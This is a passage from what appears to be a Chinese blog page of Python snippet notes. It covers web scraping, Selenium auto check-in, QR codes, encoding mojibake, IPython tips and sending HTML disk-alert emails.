class="string">'boxInfo'</span>] =  rebuild_number(movie.find(<span class="string">'.c2'</span>).text(), tmp_match)</span><br><span class="line">        result[<span class="string">'boxRate'</span>] = rebuild_number(movie.find(<span class="string">'.c3'</span>).text(), tmp_match)</span><br><span class="line">        result[<span class="string">'showRate'</span>] = rebuild_number(movie.find(<span class="string">'.c4'</span>).text(), tmp_match)</span><br><span class="line">        result[<span class="string">'avgSeatView'</span>] = rebuild_number(movie.find(<span class="string">'.c5'</span>).text(), tmp_match)</span><br><span class="line">        <span class="keyword">yield</span> result</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    start_date = datetime.date.today()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">31</span>):</span><br><span class="line">        date = start_date - datetime.timedelta(days=i)</span><br><span class="line">        html = get_one_page(date.isoformat())</span><br><span class="line">        <span class="keyword">for</span> result <span class="keyword">in</span> parse_one_page(html):</span><br><span class="line">            print(result)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    main()</span><br><span class="line">    https:<span class="comment">//learnku.com/articles/32534#reply104205</span></span><br></pre></td></tr></table></figure>
<h3 id="锟斤拷"><a href="#锟斤拷" class="headerlink" title="锟斤拷"></a>锟斤拷</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; s = (u<span class="string">'\uFFFD'</span>.encode(<span class="string">'utf8'</span>)*<span class="number">2</span>)</span><br><span class="line">&gt;&gt;&gt; print(s.decode(<span class="string">'gbk'</span>))</span><br><span class="line">锟斤拷</span><br><span class="line">当unicode遇到解释失败的字时，会尝试用 「U+FFFD」 来代替，「U+FFFD」乃是 unicode 的一个占位符， 显示为 �</span><br><span class="line">http:<span class="comment">//cuihuan.net/2019/05/12/%E5%AD%97%E7%AC%A6%E7%BC%96%E7%A0%81%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF/</span></span><br></pre></td></tr></table></figure>
<p>###<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">pip intall nonude</span><br><span class="line"><span class="keyword">import</span> nude</span><br><span class="line">print(nude.is_nude(<span class="string">"godfather.jpg"</span>))</span><br><span class="line">print(nude.is_nude(<span class="string">"leisheng.jpg"</span>))</span><br><span class="line">print(nude.is_nude(<span class="string">"qiaoba.png"</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> glob</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">from</span> nude <span class="keyword">import</span> Nude</span><br><span class="line"></span><br><span class="line">images_format = ['jpg', 'png', 'gif']  # 图片格式</span><br><span class="line">images_jpg = glob.glob("E:/Images/OOXX/*.jpg")  # 返回匹配指定模式的文件名</span><br><span class="line">images_png = glob.glob(<span class="string">"E:/Images/OOXX/*.png"</span>)</span><br><span class="line">images_gif = glob.glob(<span class="string">"E:/Images/OOXX/*.gif"</span>)</span><br><span class="line"></span><br><span class="line">images_list = itertools.chain(images_jpg, images_png, images_gif)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> images_list:</span><br><span class="line">    print(i)  # 输出照片的路径</span><br><span class="line">    n = Nude(i)  # 对图片进行识别</span><br><span class="line">    n.parse()</span><br><span class="line">    print(n.result)  # 输出结果</span><br><span class="line">    print(n.message)  # 输出判断信息</span><br><span class="line">    print(n.inspect())  # 输出更加详细的判断信息</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">原文: https:<span class="comment">//lbjheiheihei.xyz/2018/05/14/Use-Python-Identifying-Porngraphic-Images.html</span></span><br></pre></td></tr></table></figure></p>
<h3 id="安装scrapy失败"><a href="#安装scrapy失败" class="headerlink" title="安装scrapy失败"></a>安装scrapy失败</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">依次安装lxml、pyOpenSSL、Twisted、pywin32 这些基本库都要安装好。</span><br><span class="line">    </span><br><span class="line">   pip install lxml</span><br><span class="line">  </span><br><span class="line">   </span><br><span class="line">   </span><br><span class="line">   如果不行，则去下面的网站下载。</span><br><span class="line">   </span><br><span class="line">   https:<span class="comment">//pypi.org/project/lxml/#files</span></span><br><span class="line">    https:<span class="comment">//www.lfd.uci.edu/~gohlke/pythonlibs/#lxml</span></span><br><span class="line">   比如我这台电脑是 Python3<span class="number">.6</span>，<span class="number">32</span>位的就下载 lxml<span class="number">-4.2</span><span class="number">.1</span>-cp36-cp36m-win32.whl 进入 cmd，然后 cd 到文件的路径下，接着就是</span><br><span class="line">   </span><br><span class="line">   pip install lxml<span class="number">-4.2</span><span class="number">.1</span>-cp36-cp36m-win32.whl</span><br><span class="line">    </span><br><span class="line">   命令后面那一部分要和文件名保持一致，也就是 pip install 文件名.whl回车，等一会就安装好了</span><br><span class="line">  pip install lxml</span><br><span class="line">  PythonCopy</span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">  如果不行，则去下面的网站下载。</span><br><span class="line">  </span><br><span class="line">  https:<span class="comment">//pypi.org/project/lxml/#files https://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml</span></span><br><span class="line">  比如我这台电脑是 Python3<span class="number">.6</span>，<span class="number">32</span>位的就下载 lxml<span class="number">-4.2</span><span class="number">.1</span>-cp36-cp36m-win32.whl 进入 cmd，然后 cd 到文件的路径下，接着就是</span><br><span class="line">  </span><br><span class="line">  pip install lxml<span class="number">-4.2</span><span class="number">.1</span>-cp36-cp36m-win32.whl</span><br><span class="line">  PythonCopy</span><br><span class="line">  命令后面那一部分要和文件名保持一致，也就是 pip install 文件名.whl回车，等一会就安装好了</span><br><span class="line">  </span><br><span class="line">   </span><br><span class="line">  原文: https:<span class="comment">//lbjheiheihei.xyz/2018/05/27/Install-Scrapy-In-Window.html</span></span><br></pre></td></tr></table></figure>
<h3 id="ChromeDriver"><a href="#ChromeDriver" class="headerlink" title="ChromeDriver"></a>ChromeDriver</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//sites.google.com/a/chromium.org/chromedriver/downloads http://phantomjs.org/</span></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line">options = webdriver.ChromeOptions()</span><br><span class="line">options.add_argument("--incognito")  # 隐身模式打开</span><br><span class="line">driver_path = "C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe"  # chromedriver.exe 的路径</span><br><span class="line">browser = webdriver.Chrome(executable_path=driver_path, options=options)</span><br><span class="line">browser.get("https://kejibear.xyz/auth/login")  # 网址</span><br><span class="line">browser.find_element_by_css_selector(".card-inner input[name='Email']").send_keys("@qq.com")  # 账号</span><br><span class="line">browser.find_element_by_css_selector(".card-inner input[name='Password']").send_keys("1")  # 密码</span><br><span class="line">browser.find_element_by_css_selector(<span class="string">".row .col-md-10.col-md-push-1 button.waves-effect"</span>).click()</span><br><span class="line">print(<span class="string">"登录成功~"</span>)</span><br><span class="line">time.sleep(<span class="number">3</span>)</span><br><span class="line">browser.find_element_by_css_selector(<span class="string">".card-action-btn #checkin-btn button.waves-effect"</span>).click()</span><br><span class="line">print(<span class="string">"签到成功~"</span>)</span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line">browser.close()</span><br></pre></td></tr></table></figure>
<h3 id="生成彩色动态二维码"><a href="#生成彩色动态二维码" class="headerlink" title="生成彩色动态二维码"></a>生成彩色动态二维码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">pip install myqr</span><br><span class="line"><span class="keyword">from</span> MyQR <span class="keyword">import</span> myqr</span><br><span class="line">version, level, qr_name = myqr.run(</span><br><span class="line">    words='dhb cdfb64%vjk',  # 不支持中文，支持 0~9,a~z, A~Z 以及常见的常用英文标点符号和空格</span><br><span class="line">    version=2,  # 版本，从 1至 40</span><br><span class="line">    level='H',  # 纠错等级，范围是L、M、Q、H，从左到右依次升高</span><br><span class="line">    picture='4e.jpg',  # 文件要放在目录下</span><br><span class="line">    colorized=True,   # True 为彩色，False 为黑白</span><br><span class="line">    contrast=1.0,  # 对比度</span><br><span class="line">    brightness=1.0,  # 亮度</span><br><span class="line">    save_name='1d6.bmp',  # 命名随便都行，格式可以是 jpg,png,bmp,gif</span><br><span class="line">    save_dir="F:\二维码"  # 路径要存在</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">myqr <span class="number">666</span> -p <span class="number">666.</span>png -c</span><br><span class="line">https:<span class="comment">//lbjheiheihei.xyz/2018/04/26/Use-Python-Generate-Colorful-QRcode.html</span></span><br></pre></td></tr></table></figure>
<h3 id="爬取简书用户的动态"><a href="#爬取简书用户的动态" class="headerlink" title="爬取简书用户的动态"></a>爬取简书用户的动态</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line"></span><br><span class="line">my_header = <span class="string">"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"</span></span><br><span class="line"></span><br><span class="line">res = requests.get(url=<span class="string">'https://www.jianshu.com/users/5aa8494a18c8/timeline'</span>, headers=&#123;<span class="string">'user-agent'</span>: my_header&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">'大神带我来搬砖'</span> <span class="keyword">in</span> res.text:</span><br><span class="line">    print(<span class="string">'found'</span>)</span><br><span class="line">page = etree.HTML(res.text)</span><br><span class="line">last_li = page.xpath(<span class="string">''</span><span class="string">'//ul[@class="note-list"]/li[last()]'</span><span class="string">''</span>)[<span class="number">0</span>]</span><br><span class="line">max_id = int(last_li.get(<span class="string">'id'</span>).split(<span class="string">'-'</span>)[<span class="number">1</span>]) - <span class="number">1</span></span><br><span class="line"></span><br><span class="line">file = open(<span class="string">"activity.txt"</span>,<span class="string">'w'</span>,encoding=<span class="string">'utf-8'</span>)</span><br><span class="line"></span><br><span class="line">page = <span class="number">2</span></span><br><span class="line"><span class="keyword">while</span> True:</span><br><span class="line">    res = requests.get(url=<span class="string">'https://www.jianshu.com/users/5aa8494a18c8/timeline?max_id=%s&amp;page=%s'</span> %(max_id,page),</span><br><span class="line">        headers=&#123;<span class="string">'user-agent'</span>: my_header, <span class="string">'X-INFINITESCROLL'</span>:<span class="string">'true'</span>&#125;)</span><br><span class="line"></span><br><span class="line">    last_li = etree.HTML(res.text).xpath(<span class="string">''</span><span class="string">'/html/body/li[last()]'</span><span class="string">''</span>)[<span class="number">0</span>]</span><br><span class="line">    max_id = int(last_li.get(<span class="string">'id'</span>).split(<span class="string">'-'</span>)[<span class="number">1</span>]) - <span class="number">1</span></span><br><span class="line">    page = page + <span class="number">1</span></span><br><span class="line">    file.write(res.text)</span><br><span class="line">    file.write(<span class="string">"\n"</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'加入了简书'</span> <span class="keyword">in</span> res.text:</span><br><span class="line">        print(<span class="string">'end'</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">file.close()</span><br><span class="line">#https://www.jianshu.com/p/35a85ee14f7b</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> selenium <span class="keyword">import</span> webdriver</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">options = webdriver.ChromeOptions()</span><br><span class="line">prefs = &#123;<span class="string">"profile.managed_default_content_settings.images"</span>:<span class="number">2</span>&#125;</span><br><span class="line">options.add_experimental_option(<span class="string">"prefs"</span>,prefs)</span><br><span class="line">browser = webdriver.Chrome(chrome_options=options)</span><br><span class="line">browser.set_page_load_timeout(<span class="number">60</span>)</span><br><span class="line"></span><br><span class="line">browser.get(<span class="string">"https://www.jianshu.com/users/5aa8494a18c8/timeline"</span>)</span><br><span class="line">time.sleep(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">file = open(<span class="string">"browser.txt"</span>,<span class="string">'w'</span>,encoding=<span class="string">'utf-8'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> True:</span><br><span class="line">    text = browser.find_element_by_xpath(<span class="string">""</span><span class="string">"//*[@id="</span>list-container<span class="string">"]/ul"</span><span class="string">""</span>).text</span><br><span class="line">    file.write(text)</span><br><span class="line">    # remove li elements</span><br><span class="line">    js=<span class="string">''</span><span class="string">'var nodeList=document.querySelectorAll("#list-container &gt; ul &gt; li");for(var i=0;i&lt;nodeList.length-1;i++)&#123;nodeList[i].remove()&#125;'</span><span class="string">''</span></span><br><span class="line">    browser.execute_script(js)</span><br><span class="line">    </span><br><span class="line">    # scroll</span><br><span class="line">    browser.execute_script(<span class="string">"document.documentElement.scrollTop=0"</span>)</span><br><span class="line">    browser.execute_script(<span class="string">"document.documentElement.scrollTop=1600"</span>)</span><br><span class="line">    time.sleep(<span class="number">10</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="string">'加入了简书'</span> <span class="keyword">in</span> text:</span><br><span class="line">        print(<span class="string">"end"</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">file.write(text)</span><br><span class="line">file.close()</span><br></pre></td></tr></table></figure>
<h3 id="retrying-重试请求"><a href="#retrying-重试请求" class="headerlink" title="retrying 重试请求"></a>retrying 重试请求</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">pip install retrying</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> retrying <span class="keyword">import</span> retry</span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">@retry(stop_max_attempt_number=3) # 表示重试以下代码三次</span><br><span class="line">def _parse_url(url):</span><br><span class="line">    print(<span class="string">"-"</span> * <span class="number">30</span>)</span><br><span class="line">    response = requests.get(url, headers=headers, timeout=<span class="number">3</span>)</span><br><span class="line">    assert response.status_code == <span class="number">200</span></span><br><span class="line">    <span class="keyword">return</span> response.content.decode()</span><br><span class="line"></span><br><span class="line">def parse_url(url):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        html_str = _parse_url(url)</span><br><span class="line">    except:</span><br><span class="line">        html_str = None</span><br><span class="line">    <span class="keyword">return</span> html_str</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    url = <span class="string">'www.baidu.com'</span></span><br><span class="line">    print(parse_url(url))</span><br><span class="line">    </span><br><span class="line">    https:<span class="comment">//learnku.com/articles/33001</span></span><br></pre></td></tr></table></figure>
<h3 id="ipython"><a href="#ipython" class="headerlink" title="ipython"></a>ipython</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">使用 Tab 实现自动补全功能。</span><br><span class="line">使用问号？呈现对象的说明。</span><br><span class="line">提供了一系列以 % 开头的魔术命令为常见任务的执行提供便利。</span><br><span class="line">提供了额外的绘图功能。</span><br><span class="line">可使用操作系统中的命令。</span><br><span class="line">用 %quickref 查看 IPython 的参考手册，也可以使用 %magic 来查看 IPython 中魔术命令的信息，以更好的使用 IPython 工具。</span><br><span class="line">最近两次执行的结果 (Out) 分别保存在 _ 及 __ 变量中。而且，IPython 还采用 _iN, _N 的方式将所有输入及输出的历史记录进行保存～其中 N 为行号</span><br><span class="line"></span><br><span class="line">In [8]: eval(_i4) # eval('1 + 7*9')</span><br><span class="line">Out[<span class="number">8</span>]: <span class="number">64</span> </span><br><span class="line"> IPython 中执行过的命令，可通过 %logstart 将之保存在 Python 文件中</span><br><span class="line"> In [<span class="number">22</span>]: !ls</span><br><span class="line"> IPython.md                      data_science.md                 pandas.ipynb</span><br><span class="line"> Jupyter.ipynb                   README.md</span><br><span class="line"> </span><br><span class="line"> IPython 同样提供了一些代码分析工具，如代码执行时间的分析工具 %time 和 %timeit、基本的性能分析 %prun 和 %run -p 等</span><br><span class="line"> </span><br><span class="line"> %time：整体执行一次，给出执行时间；</span><br><span class="line"> %timeit：多次执行，给出平均时间。</span><br><span class="line"> In [<span class="number">42</span>]: %time <span class="string">'foobar'</span>.startswith(<span class="string">'foo'</span>)</span><br><span class="line"> CPU times: user <span class="number">3</span> µs, <span class="attr">sys</span>: <span class="number">0</span> ns, <span class="attr">total</span>: <span class="number">3</span> µs</span><br><span class="line"> Wall time: <span class="number">5.96</span> µs</span><br><span class="line"> Out[<span class="number">42</span>]: True</span><br><span class="line"> https:<span class="comment">//learnku.com/articles/33122#reply105653</span></span><br></pre></td></tr></table></figure>
<h3 id="列表中出现次数最多的数"><a href="#列表中出现次数最多的数" class="headerlink" title="列表中出现次数最多的数"></a>列表中出现次数最多的数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">test = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">4</span>]</span><br><span class="line">print(max(set(test), key=test.count))</span><br></pre></td></tr></table></figure>
<h3 id="pygame-模块"><a href="#pygame-模块" class="headerlink" title="pygame 模块"></a>pygame 模块</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pygame</span><br><span class="line"><span class="keyword">from</span> pygame <span class="keyword">import</span>*</span><br><span class="line">pygame.init()</span><br><span class="line">size = (600,400) #窗口的大小</span><br><span class="line">screem = pygame.display.set_mode(size) #把窗口的大小放进pygame.display.set_mode()函数里进行创建。</span><br><span class="line">screem.fill((<span class="number">250</span>,<span class="number">250</span>,<span class="number">250</span>))</span><br><span class="line">写好了，但是窗口还是黑色，那是因为窗口还没刷新，用 pygame.display.update () 来进行刷新</span><br><span class="line">https:<span class="comment">//learnku.com/articles/33209#reply105837</span></span><br></pre></td></tr></table></figure>
<h3 id="发送html格式邮件"><a href="#发送html格式邮件" class="headerlink" title="发送html格式邮件"></a>发送html格式邮件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/python</span></span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line"><span class="keyword">import</span> smtplib, time, os</span><br><span class="line"><span class="keyword">from</span> email.mime.text <span class="keyword">import</span> MIMEText</span><br><span class="line"><span class="keyword">from</span> email.header <span class="keyword">import</span> Header</span><br><span class="line"></span><br><span class="line">def send_mail_html(file):</span><br><span class="line">    sender = 'admin@jinchuang.org' #发件人</span><br><span class="line">    receiver = 'gaojing@jinchuang.org' #收件人</span><br><span class="line">    t = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())  #获取当前时间</span><br><span class="line">    subject = '博客磁盘使用报警_' + t  #邮件主题</span><br><span class="line">    smtpserver = 'smtp.exmail.qq.com' #发送服务器地址</span><br><span class="line">    username = 'admin@jinchuang.org' #用户名</span><br><span class="line">    password = 'passwd' #密码</span><br><span class="line"></span><br><span class="line">    f = open(file, <span class="string">'rb'</span>)</span><br><span class="line">    mail_body = f.read()</span><br><span class="line">    f.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    msg = MIMEText(mail_body, _subtype=<span class="string">'html'</span>, _charset=<span class="string">'utf-8'</span>)</span><br><span class="line">    msg[<span class="string">'Subject'</span>] = Header(subject, <span class="string">'utf-8'</span>)</span><br><span class="line">    msg[<span class="string">'From'</span>] = sender</span><br><span class="line">    msg[<span class="string">'To'</span>] = receiver</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        smtp = smtplib.SMTP()</span><br><span class="line">        smtp.connect(smtpserver)</span><br><span class="line">        smtp.login(username, password)</span><br><span class="line">        smtp.sendmail(sender, receiver, msg.as_string())</span><br><span class="line">    except:</span><br><span class="line">        print(<span class="string">"邮件发送失败！"</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">"邮件发送成功！"</span>)</span><br><span class="line">    <span class="keyword">finally</span>:</span><br><span class="line">        smtp.quit()</span><br><span class="line"></span><br><span class="line">file = '/tmp/df.html' #html文件</span><br><span class="line">send_mail_html(file)</span><br><span class="line"></span><br><span class="line">html表格模板</span><br><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">ip=<span class="string">`ifconfig |grep -v 127 |grep inet|awk '&#123;print $2&#125;'`</span></span><br><span class="line">a=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $1&#125;'`</span></span><br><span class="line">b=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $2&#125;'`</span></span><br><span class="line">c=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $3&#125;'`</span></span><br><span class="line">d=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $4&#125;'`</span></span><br><span class="line">e=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $5&#125;'`</span></span><br><span class="line">f=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $6&#125;'`</span></span><br><span class="line">g=<span class="string">`df -hT|grep -w "/"|awk '&#123;print $7&#125;'`</span></span><br><span class="line"></span><br><span class="line">html=<span class="string">"&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\"&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;</span></span><br><span class="line"><span class="string">&lt;style type=\"text/css\"&gt;</span></span><br><span class="line"><span class="string">table&#123;margin-top:5%;width:500px&#125;</span></span><br><span class="line"><span class="string">table.gridtable &#123;</span></span><br><span class="line"><span class="string">    font-family: verdana,arial,sans-serif;</span></span><br><span class="line"><span class="string">    font-size:14px;</span></span><br><span class="line"><span class="string">    color:#333333;</span></span><br><span class="line"><span class="string">    border-width: 1px;</span></span><br><span class="line"><span class="string">    border-color: #666666;</span></span><br><span class="line"><span class="string">    border-collapse: collapse;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span 